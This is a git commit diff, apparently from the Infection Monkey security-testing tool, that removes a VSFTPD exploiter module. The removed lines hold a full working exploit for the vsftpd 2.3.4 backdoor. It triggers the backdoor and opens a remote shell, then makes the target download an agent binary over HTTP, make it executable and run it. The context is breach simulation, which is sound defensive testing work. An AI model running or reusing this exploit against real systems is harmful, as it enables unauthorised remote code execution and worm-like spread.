Agent: Remove VSFTPD exploiter
This commit is contained in:
parent
8ee918b5a2
commit
40b9b5b730
|
@ -39,7 +39,6 @@
|
|||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter",
|
||||
"MSSQLExploiter"
|
||||
],
|
||||
"finger_classes": [
|
||||
|
|
|
@ -1,166 +0,0 @@
|
|||
"""
|
||||
Implementation is based on VSFTPD v2.3.4 Backdoor Command Execution exploit by metasploit
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/ftp
|
||||
/vsftpd_234_backdoor.rb
|
||||
only vulnerable version is "2.3.4"
|
||||
"""
|
||||
|
||||
import socket
|
||||
import time
|
||||
from logging import getLogger
|
||||
|
||||
from common.utils.attack_utils import ScanStatus
|
||||
from infection_monkey.exploit.HostExploiter import HostExploiter
|
||||
from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey
|
||||
from infection_monkey.exploit.tools.http_tools import HTTPTools
|
||||
from infection_monkey.model import (
|
||||
CHMOD_MONKEY,
|
||||
DOWNLOAD_TIMEOUT,
|
||||
MONKEY_ARG,
|
||||
RUN_MONKEY,
|
||||
WGET_HTTP_UPLOAD,
|
||||
)
|
||||
from infection_monkey.telemetry.attack.t1222_telem import T1222Telem
|
||||
from infection_monkey.utils.commands import build_monkey_commandline
|
||||
|
||||
logger = getLogger(__name__)
|
||||
|
||||
|
||||
FTP_PORT = 21 # port at which vsftpd runs
|
||||
BACKDOOR_PORT = 6200 # backdoor port
|
||||
RECV_128 = 128 # In Bytes
|
||||
UNAME_M = "uname -m"
|
||||
ULIMIT_V = "ulimit -v " # To increase the memory limit
|
||||
UNLIMITED = "unlimited;"
|
||||
USERNAME = b"USER D3fa1t:)" # Ftp Username should end with :) to trigger the backdoor
|
||||
PASSWORD = b"PASS please" # Ftp Password
|
||||
FTP_TIME_BUFFER = 1 # In seconds
|
||||
|
||||
|
||||
class VSFTPDExploiter(HostExploiter):
|
||||
_TARGET_OS_TYPE = ["linux"]
|
||||
_EXPLOITED_SERVICE = "VSFTPD"
|
||||
|
||||
def __init__(self, host):
|
||||
self._update_timestamp = 0
|
||||
super(VSFTPDExploiter, self).__init__(host)
|
||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||
|
||||
def socket_connect(self, s, ip_addr, port):
|
||||
try:
|
||||
s.connect((ip_addr, port))
|
||||
return True
|
||||
except socket.error as e:
|
||||
logger.info("Failed to connect to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send_recv(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return s.recv(RECV_128).decode("utf-8")
|
||||
except socket.error as e:
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def socket_send(self, s, message):
|
||||
try:
|
||||
s.send(message)
|
||||
return True
|
||||
except socket.error as e:
|
||||
logger.info("Failed to send payload to %s: %s", self.host.ip_addr, str(e))
|
||||
return False
|
||||
|
||||
def _exploit_host(self):
|
||||
logger.info("Attempting to trigger the Backdoor..")
|
||||
ftp_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(ftp_socket, self.host.ip_addr, FTP_PORT):
|
||||
ftp_socket.recv(RECV_128).decode("utf-8")
|
||||
|
||||
if self.socket_send_recv(ftp_socket, USERNAME + b"\n"):
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
self.socket_send(ftp_socket, PASSWORD + b"\n")
|
||||
ftp_socket.close()
|
||||
logger.info("Backdoor Enabled, Now we can run commands")
|
||||
else:
|
||||
logger.error("Failed to trigger backdoor on %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
logger.info("Attempting to connect to backdoor...")
|
||||
backdoor_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
|
||||
if self.socket_connect(backdoor_socket, self.host.ip_addr, BACKDOOR_PORT):
|
||||
logger.info("Connected to backdoor on %s:6200", self.host.ip_addr)
|
||||
|
||||
uname_m = str.encode(UNAME_M + "\n")
|
||||
response = self.socket_send_recv(backdoor_socket, uname_m)
|
||||
|
||||
if response:
|
||||
logger.info("Response for uname -m: %s", response)
|
||||
if "" != response.lower().strip():
|
||||
# command execution is successful
|
||||
self.host.os["machine"] = response.lower().strip()
|
||||
self.host.os["type"] = "linux"
|
||||
else:
|
||||
logger.info("Failed to execute command uname -m on victim %r ", self.host)
|
||||
|
||||
src_path = get_target_monkey(self.host)
|
||||
logger.info("src for suitable monkey executable for host %r is %s", self.host, src_path)
|
||||
|
||||
if not src_path:
|
||||
logger.info("Can't find suitable monkey executable for host %r", self.host)
|
||||
return False
|
||||
|
||||
# Create a http server to host the monkey
|
||||
http_path, http_thread = HTTPTools.create_locked_transfer(self.host, src_path)
|
||||
dropper_target_path_linux = self._config.dropper_target_path_linux
|
||||
logger.info("Download link for monkey is %s", http_path)
|
||||
|
||||
# Upload the monkey to the machine
|
||||
monkey_path = dropper_target_path_linux
|
||||
download_command = WGET_HTTP_UPLOAD % {"monkey_path": monkey_path, "http_path": http_path}
|
||||
download_command = str.encode(str(download_command) + "\n")
|
||||
logger.info("Download command is %s", download_command)
|
||||
if self.socket_send(backdoor_socket, download_command):
|
||||
logger.info("Monkey is now Downloaded ")
|
||||
else:
|
||||
logger.error("Failed to download monkey at %s", self.host.ip_addr)
|
||||
return False
|
||||
|
||||
http_thread.join(DOWNLOAD_TIMEOUT)
|
||||
http_thread.stop()
|
||||
|
||||
# Change permissions
|
||||
change_permission = CHMOD_MONKEY % {"monkey_path": monkey_path}
|
||||
change_permission = str.encode(str(change_permission) + "\n")
|
||||
logger.info("change_permission command is %s", change_permission)
|
||||
backdoor_socket.send(change_permission)
|
||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||
|
||||
# Run monkey on the machine
|
||||
parameters = build_monkey_commandline(
|
||||
self.host, get_monkey_depth() - 1, vulnerable_port=FTP_PORT
|
||||
)
|
||||
run_monkey = RUN_MONKEY % {
|
||||
"monkey_path": monkey_path,
|
||||
"monkey_type": MONKEY_ARG,
|
||||
"parameters": parameters,
|
||||
}
|
||||
|
||||
# Set unlimited to memory
|
||||
# we don't have to revert the ulimit because it just applies to the shell obtained by our
|
||||
# exploit
|
||||
run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
|
||||
run_monkey = str.encode(str(run_monkey) + "\n")
|
||||
time.sleep(FTP_TIME_BUFFER)
|
||||
if backdoor_socket.send(run_monkey):
|
||||
logger.info(
|
||||
"Executed monkey '%s' on remote victim %r (cmdline=%r)",
|
||||
self._config.dropper_target_path_linux,
|
||||
self.host,
|
||||
run_monkey,
|
||||
)
|
||||
self.add_executed_cmd(run_monkey.decode())
|
||||
return True
|
||||
else:
|
||||
return False
|
Loading…
Reference in New Issue